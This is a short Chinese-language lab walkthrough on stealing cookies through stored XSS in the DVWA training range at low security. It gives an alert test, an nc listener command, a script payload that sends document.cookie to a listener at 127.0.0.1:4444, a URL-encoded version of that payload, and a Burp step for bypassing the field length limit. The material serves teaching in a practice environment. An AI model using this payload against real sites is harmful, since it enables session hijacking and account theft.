XSS获取cookie
环境搭建
本次实验使用dvwa
靶场搭建
使用工具nc
实验过程
首先把等级设置为low

image-20220607154959588
选择XSS(Stored)
存储型

image-20220607155526688
先测试 一下
html
<script>alert(1)</script>

image-20220607155954851
弹出了,确定有xss漏洞
打开nc
Linux
nc -lvvp 4444
构造xss语句
html
<script>
document.write('<img src="http://127.0.0.1:4444/?'+document.cookie+'"/> ');
</script>
但是这个有字数限制,可以通过burp抓包来更改

image-20220607160442487
然后要url
编码
html
<script>
document.write('<img+src%3d"http%3a//127.0.0.1%3a4444/%3f'%2bdocument.cookie%2b'"/>+')%3b
</script>
放行

image-20220607160703455
接收到cookie